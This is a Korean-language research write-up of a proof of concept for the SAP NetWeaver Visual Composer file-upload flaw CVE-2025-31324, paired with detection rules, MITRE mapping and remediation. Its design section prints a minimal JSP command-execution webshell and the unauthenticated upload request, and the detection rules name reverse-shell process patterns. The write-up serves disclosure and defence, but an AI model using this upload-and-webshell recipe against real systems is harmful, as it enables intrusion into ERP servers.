
CVE-2025-31324에 대한 개념 증명 익스플로잇으로, SAP NetWeaver Visual Composer의 인증되지 않은 파일 업로드 취약점이며, 탐지 가이드, MITRE 매핑 및 수정 단계를 포함합니다.
유형: 개념 증명 — 취약점 연구 CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) 상태: 패치됨 — SAP 보안 노트 3594142 + 3604119 CISA KEV 추가: 2025년 5월
⚠️ 이 PoC는 악성 코드를 실행하지 않고 공격 표면을 검증하기 위해 무해한 JSP 파일("Hello World")을 사용합니다. 침투 테스트 및 탐지 개발 목적으로 승인된 환경에서만 사용하십시오.
Developed by: HKK$ cat ./vulnerability_summary.txtCVE-2025-31324 취약점은 SAP NetWeaver AS Java의 Visual Composer Metadata Uploader 구성 요소에 존재합니다 — 인증 확인 누락(missing authorization check) 결함으로, 인증되지 않은 모든 공격자가 /developmentserver/metadatauploader 엔드포인트에 POST 요청을 보내 임의 파일을 무제한 업로드할 수 있습니다.
이 CVE는 특히 SAP NetWeaver Visual Composer Framework 버전 7.50에 영향을 미치며, CVSS 점수는 최대치인 10.0입니다.
위협 행위자들은 2025년 1월부터 5월까지 이 취약점을 적극적으로 악용하여 전 세계 수백 개 시스템에 지속적인 웹셸을 배포했습니다.
$ cat ./impact.txt높은 권한으로 작동하고 ERP 데이터에 근접해 있기 때문에, 악용 후 SAP ABAP 스택이나 연결된 데이터베이스로의 측면 이동은 사소한 일입니다.
실제 공격에서의 전체 악용 체인:
JSP 업로드 (CVE-2025-31324)
→ 서버 내 지속적 웹셸
→ SAP 프로세스로 RCE (높은 권한)
→ ERP 데이터 접근 (재무, 인사, 공급망)
→ ABAP / DB로 측면 이동
→ C2 프레임워크 배포 (예: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ 공격자 SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ 본문: JSP/WAR/모든 파일 ──────────────────► │ Metadata Uploader │ │
│ (인증 없음) │ │ │
│ │ ❌ 인증 확인 없음 │ │
│ │ ❌ 확장자 검증 없음 │ │
│ │ ❌ 콘텐츠 검증 없음 │ │
│ └────────┬────────────┘ │
│ │ │
│ 파일 저장 위치: │
│ /irj/root/ 또는 유사 경로 │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (무해한 PoC) │
│ → Webshell (실제 악용) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader는 SAP Visual Composer의 일부입니다 — 비즈니스 분석가가 Java 코드 없이 SAP 애플리케이션을 만들 수 있는 로우코드 개발 도구입니다. 이 엔드포인트는 개발 중 메타데이터 모델을 수신하도록 설계되었습니다. 이 구성 요소는 NetWeaver 기본 구성에서는 활성화되어 있지 않지만, Onapsis는 프로덕션 환경에서 광범위하게 활성화되어 있다고 보고했습니다.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
왜 JSP인가? 다른 형식이 아닌 이유는?
SAP NetWeaver AS Java는 JVM을 실행합니다 — .jsp 파일은 사전 컴파일 없이 서블릿 컨테이너(내장 Apache Tomcat)에 의해 직접 해석됩니다.这使得 JSP는 Java 환경에서 웹셸에 이상적인 형식입니다.
무해한 콘텐츠("Hello World")를 선택한 것은 PoC를 위한 의도적인 결정입니다:
실제 악용에서는 콘텐츠가 명령 실행이 가능한 JSP 웹셸이 될 것입니다, 예:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — 왜 이 Content-Type인가?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
엔드포인트는 multipart/form-data 요청을 기대합니다 — HTML 파일 업로드 양식에서 사용되는 것과 동일한 형식입니다. 이는 Visual Composer의 원래 설계(개발 모델 업로드)에서 의도된 것입니다.
requests 라이브러리는 files=가 전달될 때 multipart 경계를 자동으로 구성합니다 — Content-Type: multipart/form-data; boundary=... 헤더가 내부적으로 생성됩니다.
verify=False: TLS 인증서 검증을 비활성화합니다 — SAP 환경은 종종 자체 서명 인증서를 사용하기 때문에 필요합니다. 프로덕션에서는 verify='/path/to/ca-bundle.crt'를 사용하십시오.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| 구성 요소 | 의미 |
|---|---|
:50201 | SAP ICM(Internet Communication Manager) HTTPS 기본 포트 |
/developmentserver/ | Visual Composer 개발 서블릿 |
metadatauploader | 메타데이터 업로드 전용 엔드포인트 |
CONTENTTYPE=MODEL | 엔드포인트가 기대하는 콘텐츠 유형 |
CLIENT=1 | SAP 클라이언트(tenant) — 000, 100, 001이 일반적 |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# 인증 없이 HTTP POST를 통한 /developmentserver/metadatauploader
# 엔드포인트 악용
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP 웹셸 업로드 → 서블릿 컨테이너(Tomcat)에 의해 실행
tactic: Persistence
- T1505.003 # 지속성 메커니즘으로서의 웹셸
# JSP 파일은 재시작 사이에도 서버 파일시스템에 유지됨
tactic: Defense Evasion
- T1036 # Masquerading
# 합법적인 SAP 파일로 위장한 웹셸 (예: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# RCE 이후: 프로세스, 사용자, SAP 경로 열거
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# RCE를 통한 ABAP 스택, 연결된 데이터베이스 접근
tactic: Collection
- T1005 # Data from Local System
# ERP 데이터 직접 접근 (재무, 인사, 공급망)
$ cat ./affected_versions.txt제품: SAP NetWeaver Application Server Java
구성 요소: Visual Composer Framework
버전: 7.50 (2025년 4월/5월 패치 이전의 모든 빌드)
패치:
SSN 3594142 → 초기 패치 (2025년 4월) — 파일 업로드 완화
SSN 3604119 → CVE-2025-42999를 통한 근본 원인 수정 (2025년 5월) — 근본 원인 해결
SSN 3578900, 3620498, 3621771, 3634501 → 보안 강화 보조 노트
CISA KEV: CVE-2025-31324 및 CVE-2025-42999 모두 카탈로그에 추가됨
$ cat ./detection_opportunities.md# 규칙: Metadata Uploader 엔드포인트에 대한 인증되지 않은 POST
# 소스: SAP Web Dispatcher / ICM 액세스 로그
조건:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
심각도: 치명적 — 즉시 조사
# SAP ICM 로그 — 의심스러운 패턴:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# 규칙: 합법적인 SAP 경로 외부에서 최근 생성된 .jsp 파일에 대한 GET
조건:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [알려진 합법적 JSP 목록]
# SAP JVM의 의심스러운 자식 프로세스
# 소스: Sysmon / EDR 프로세스 생성
조건:
- parent_process: java.exe 또는 jstart.exe
- child_process: cmd.exe 또는 powershell.exe 또는 sh 또는 bash
- command_line CONTAINS: -c 또는 .socket 또는 .call( 또는 .spawn(
Red Canary는 Linux 환경에서 CVE-2025-31324 악용에 대한 다음 탐지 패턴을 문서화했습니다: .socket 및 .call( 또는 .spawn(과 결합된 -c 인수를 가진 python 프로세스 — 웹셸 이후 리버스 셸을 나타냅니다.
# 지난 90일 동안 취약한 엔드포인트에 대한 POST 요청 검색
# 로그 디렉토리: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# 웹 디렉토리에서 최근 생성된 JSP 나열
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.md우선순위: 치명적 — 즉시 패치
1. 구성 요소가 활성화되어 있는지 확인:
NWA → Configuration → Infrastructure → Java System Properties
검색: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. 필요하지 않은 경우 → Visual Composer 비활성화:
NWA → Start & Stop → Services → VisualComposer → Stop
3. 필수 패치 적용 (순서대로):
SSN 3594142 ← 중요 (파일 업로드)
SSN 3604119 ← 근본 원인 (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (추가 보안 강화)
4. JVM Serial Filter 구성 (패치 후):
NWA → JVM Parameters → 악성 클래스 필터 추가
5. Web Dispatcher / 방화벽에서 엔드포인트에 대한 네트워크 접근 제한:
차단: 외부 IP에 대한 /developmentserver/*
허용: 승인된 개발 호스트만
6. IOC 확인 — 패치 전에 배포된 웹셸 검색:
2025년 1월부터 ICM 로그 분석
/irj/에서 의심스러운 콘텐츠가 있는 .jsp 파일 검색
$ cat ./usage.sh# 의존성 설치
pip install requests
# 실행 전 스크립트에서 URL 편집:
# url = "https://<your-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# 실행
python cve_2025_31324_poc.py
# 업로드 성공 여부 확인 (파일에 접근 가능해야 함)
curl -k https://<host>:<port>/irj/hello_world.jsp
# 취약한 경우 예상 응답: "Hello World"가 포함된 HTML
# 패치된 경우 예상 응답: 404 또는 403
$ cat ./timeline.txt2025년 1월 야생에서의 적극적 악용 시작 (소급 탐지)
2025년 4월 24일 SAP가 CVE-2025-31324 (CVSS 10.0) + SSN 3594142 공개
2025년 4월 28일 CISA가 Known Exploited Vulnerabilities Catalog에 추가
2025년 4월 29일 Rapid7, Qualys, Red Canary 기술 분석 공개
2025년 5월 7일 Onapsis + Mandiant (Google Cloud) 공동 브리핑 공개
2025년 5월 13일 SAP가 SSN 3604119 공개 (CVE-2025-42999를 통한 근본 원인, CVSS 9.1)
2025년 5월 15일 CISA가 CVE-2025-42999를 KEV 카탈로그에 추가
2025년 5월 20일 미국 연방 시스템 패치를 위한 CISA 마감일
2025년 6월 25일 Unit 42가 캠페인에 대한 능동 모니터링 종료
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] "개발" 엔드포인트의 인증 누락은 과소평가된 전형적인 벡터
[+] CVSS 10.0의 의미: 인증 없음 + 네트워크 + 완전한 RCE — 가장 치명적인 트라이펙타
[+] Visual Composer는 기본값이 아니지만 프로덕션에서 광범위하게 활성화됨 — 섀도우 기능의 위험
[+] JSP 웹셸은 특히 은밀함: 컴파일 없이 컨테이너가 직접 실행
[+] 위협 행위자들은 공개 공개 전 3개월 이상 악용 — SOC 탐지가 중요
[-] PoC의 verify=False — 실제 침투 테스트에서는 자체 서명 인증서를 문서화하고 verify=경로 사용
[-] CLIENT=1 하드코딩 — 프로덕션은 000, 100, 200을 사용할 수 있음; 사전 열거 필요
[-] PoC는 업로드 후 파일 접근 가능 여부를 확인하지 않음 — GET 확인 추가
[→] 개선 사항: host/port/client용 argparse, 업로드 후 자동 확인, JSON 출력
CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only